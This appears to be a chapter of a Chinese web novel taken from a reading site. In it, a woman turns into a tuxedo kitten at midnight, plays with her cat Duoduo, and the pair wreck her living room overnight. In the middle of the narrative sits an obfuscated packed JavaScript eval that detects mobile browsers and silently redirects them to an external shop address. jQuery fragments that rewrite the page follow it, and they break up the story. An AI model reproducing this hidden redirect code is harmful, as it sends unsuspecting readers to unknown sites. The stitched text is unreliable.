十二点的钟声响起,整个城市相继进入睡眠,也有那么些个角落,亮着灯,窸窸窣窣地发生动静。
钱家客厅,原本睡在沙发上的人变成一只不足三个月大的小猫。
小猫主体颜色是黑白,背毛是黑色,腹毛是白色。四条腿是黑色的,但爪子是白色的。
小猫迷糊地睁开双眼,抬起脸。
她脸上大部分面积也是黑色,只有鼻子到嘴套的小三角区域是白色,还有长长的白色胡须,碧绿的圆眼睛和钱多多如出一辙。
是只带了白手套的小奶牛猫!
经过一个白天的紧急理论学习,加上昨天磕磕绊绊的碰撞经验,主要是后者起了作用。钱乐伊今天很快适应了视力变差,但其他感官变得灵敏的世界,也快速掌握了自己变得轻盈的身体。
钱多多从卧室里跑出来,嘴巴上叼着一个小毛球,这是她最喜欢玩的玩具之一。
不知为何,平常毫无吸引力的小毛球,此时看得钱乐伊眼热。
钱乐伊摇摇头,把这种不成熟的想法抛出脑外,又把钱多多叫了过来。
钱乐伊:“多多,妈妈什么时候变成猫的,你看见了吗?”
钱多多张嘴,小球从她口中掉落,圆润顺滑地停在钱乐伊脚边。
钱多多眼睛都不带眨一下,张口就来:“看见了,唰的一下就变了。”
钱乐伊好笑又无语,难不成她变身还自带音效?
第二天查看监控,她才发现钱多多简直是无师自通,一本正经地胡说八道。
什么看见了钱乐伊变身。钱乐伊睡着之后,她就跑进卧室里面,直到钱乐伊发出声音,才从卧室出来。
可此时钱乐伊并不知道,天真地以为小猫没上过学,哪里会骗人。她毫不怀疑钱多多的话,并且毛绒绒的小球停在她的脚边,她白色的小脚蠢蠢欲动。
钱多多大摇大摆地走过来,准备拿回自己的小球。
钱乐伊出其不意地踢了一脚,小球瞬间从这头滚到那头。
作为人的时候,钱乐伊没有太大感觉。
当变身成猫时,她敏锐察觉到钱多多眼神变得锐利,周身气场带着攻击性,她警惕地后退了一步。
只见钱多多一个飞扑,三两下抓住了球,叼着球朝钱乐伊走来。
钱乐伊小心地环视四周,先发制猫道:“我不是故意的,是球自己滚到我脚下的。”
她早知道猫都对自己的领地和物品有极强的占有欲,不喜欢别的生物在自己地盘上撒野。
但她的脚有自己的想法,忍不住。
钱多多把球吐在她脚边,表情冷静,眼神炙热地说:“再来。”
钱乐伊:“……”
做人的时候,钱乐伊不喜欢运动,做猫倒是赶了一把潮流,还玩起了猫式足球。
钱多多是一只作息规律,并且十分自律的猫。
每天晚上钱乐伊入睡后,她先自己玩一会儿,玩累了就休息一阵。休息过后吃饱喝足,开始每日例行巡逻,巡逻完成才准备进入睡眠。
但是今天她的作息被打乱了。
玩了一会儿猫式足球,钱多多不想玩了。
钱乐伊却好像什么没见过世面的小猫,带着那个小球满屋子乱跑。
钱多多休息,她在跑;钱多多吃完饭,她在上蹿下跳;钱多多巡逻完,她抱着球在练空气兔子蹬…
等到钱多多走进自己的小猫床,身体蜷缩准备睡觉的时候,床脚下传来沉重的呼吸声。
钱乐伊小声却气息沉重地问:“多多,你睡了吗?”
钱多多睁开眼,目光如炬地望着床脚下那只小花猫,她浑身散发着热气,眼睛晶亮晶亮的,似乎不知疲倦。
钱乐伊声音更低了,似乎还有些打扰猫的不好意思,“多多,妈妈饿了。”
钱多多耿直道:“饿了就去吃饭。”
“……”钱乐伊就知道钱多多听不懂自己的潜在想法,她就活该铺垫这么一句。
放弃拐弯抹角,钱乐伊直接问:“我要是尿尿或者拉臭臭了,怎么办?”
她还是没想到一个完美的解决方法,既干净卫生,又不会突破自己心理防线。
触发关键词,钱多多脑海里瞬间自动浮现余音绕梁的下一句,“你帮妈妈舔一下,好不好?”
钱多多眼神顿时变得清明,墨绿的瞳孔幽深,像一潭深邃的湖泊,能把钱乐伊吸进去。
钱多多郑重地问:“你确定吗?”
在猫中,只有生活无法自理的小猫和残疾猫才需要别的猫帮忙舔毛和清洁自己。
钱乐伊作为一个成年两脚兽转化的猫,如果真的需要她的帮忙,那钱乐伊以后出门碰见别的猫是会被嘲笑的。
钱乐伊哪知道猫还有这种潜规则,她连人的社交礼仪都没完全掌握。
不过,见钱多多语气郑重,一张小猫脸绷得紧紧的,都快能看到下颌线了,她反倒有些想退缩。
她还是有心理障碍,不能自己给自己舔屁股清洁,不代表她就能轻易接受钱多多给自己清洁啊。
她讪笑着,贴着墙边退一步,“要不,算了,我忍忍。”
钱多多无所谓,身体再次卧倒,准备进入睡眠。
本该走出卧室的小奶牛猫,又折返回来。
“多多,多多?”钱乐伊努力伸长身子,想学着钱多多那样可以直接站立趴在床边。奈何她高估了自己的体型大小,啪唧一下就摔了下去。
耳朵机敏地往后飞,了解情况后,钱多多无奈望过去,“又怎么了?”
钱乐伊小心翼翼道:“我能吃你的猫粮吗?”
“……”钱多多早就看见自己就餐区内多了两个小碗,和自己的敞开式大猫碗不一样,一看就是钱乐伊吃饭用的碗。碗里放着和她的同款猫粮,甚至还有一碗羊奶。
钱多多没好气地说:“你不是早就准备好了吗?”
钱乐伊笑得心虚,天知道奶牛猫一张毛绒绒的脸上表情怎么这么生动。
她解释道:“原来你看见了啊。这不是要在你的地盘上吃饭,先象征性问一下你嘛。那你要不要喝点羊奶?羊奶粉还是你小时候买给你补充营养的。”
尽管没有亲眼目睹自己的猫身,但凭借脑海里残存的看什么都大件的感觉,钱乐伊判断自己应该是个柔弱无力的小小猫,需要多补充营养。
所以她背着钱多多偷偷尝了钱多多的猫粮后,还小心地用钱多多的奶粉给自己泡了一杯羊奶。
什么身体补什么营养,她很懂的。
吃饱喝足等了一会儿,钱乐伊没等到自己预想的社死时刻。反倒是对自己住了一年多的家产生了一种莫名的新奇感,就像小矮人误入巨人国,看什么都想碰碰。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17546265|204154||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
这个圆圆的小东西看起来很好推,推一下。哎,这里还有个大家伙,看起来好像推不动,不行,要试一试,好像能推动,再推一下……
也许奶牛猫天生就是精力旺盛的代名词,也可能是钱乐伊第一次做猫,过于兴奋。
一整个前半夜钱多多眼睛就没完整闭上过,耳边噼里啪啦的声音,比过年还热闹。
后半夜,钱多多索性不睡了,加入钱乐伊这场肆无忌惮的拆家活动。她都想好了明天怎么回答两脚兽形态的钱乐伊了。
反正,又不是,她先开始的!
中午的阳光带着点温度,微风送来远处柳枝抽出嫩芽的消息,带来粉色桃花清甜的香气。
钱乐伊鼻翼翕动,谁家做了红烧肉?
浓油赤酱的小方肉块,肥肉软糯,油而不腻,瘦肉不柴,肉质饱满。轻轻咬一口,入口即化,满嘴油润的咸香。
光凭想象,钱乐伊都感觉红烧肉在自己身脑海中跳起了踢踏舞,一路跳到舌尖味蕾,她忍不住咽了咽口水。
睁开眼,刺亮的阳光让她不禁眯起眼。她转头,钱多多睡在她身边,四脚张开,肚皮朝天,一副累瘫了睡得很香的模样。
感觉到钱乐伊的动静,钱多多懒洋洋地半眯着眼,看了眼钱乐伊,翻个身,用前爪捂住耳朵继续睡。
累死猫了,猫不玩了,真玩不动了,猫要睡觉。
见状,钱乐伊只好压下自己满脑子的困惑,她感觉自己像跑了十个八百米来回一样,四肢沉得像灌了铅似的,一动不能动。
她呲牙咧嘴地抬起半个身子,还没来得及从沙发上扒拉出手机,一个回头,客厅台风过境的惨况映入眼帘。
钱乐伊难以置信地眨眨眼,眼睛狠狠闭上,不敢睁开眼,希望是她的幻觉。
谨慎地等待了十秒,也可能是一分钟,钱乐伊小心地睁开左眼,又悄悄睁开右眼,遍地狼藉,毫无变化。
除了她和钱多多躺着这块净土,连个下脚的地方都没有。
“钱!多!多!”钱乐伊下意识沉声,一个字一个字咬牙叫着钱多多的名字。
钱多多一个激灵,猛地跑开,跳到毫无装饰的吧台上,眼神警惕且清澈。
钱多多耳朵后飞,四处张望,“嗯?天塌了?”
人在无语的时候真的会笑,钱乐伊笑了一声,胸腔里的震惊和怒意像被针戳到的气球慢慢泄了气。
心情稍微平复了一些,钱乐伊慢条斯理地说:“天没塌,家快没了。”
电视柜上的装饰品倒了一地,她辛辛苦苦拼的乐高积木四分五裂,客厅吧台上晶莹剔透的玻璃杯消失不见,崩到墙脚的玻璃碴子好像在说它曾经来过…
唯一值得庆幸的是,她刚买的颜料还没来得及拆盖,厚实的颜料瓶在地毯上滚了几下,安静地停靠在沙发左边。纯白的长毛地毯上除了多了一些不该有的零碎物件,倒也没有多一些不该有的颜色。
钱多多不满地喵喵叫,家不是还在吗?
钱乐伊睡了之后,她还特意又去巡逻一圈,确认没事后才睡的。
钱乐伊一只手遮住眼睛,眼前的惨况让她不忍直视。另一只手颤抖地指了指地面,示意钱多多解释一下。
而对此,钱多多早有预料,并且有所准备。
钱多多睁圆了双眼,大声且理直气壮道:“又不是猫做的。”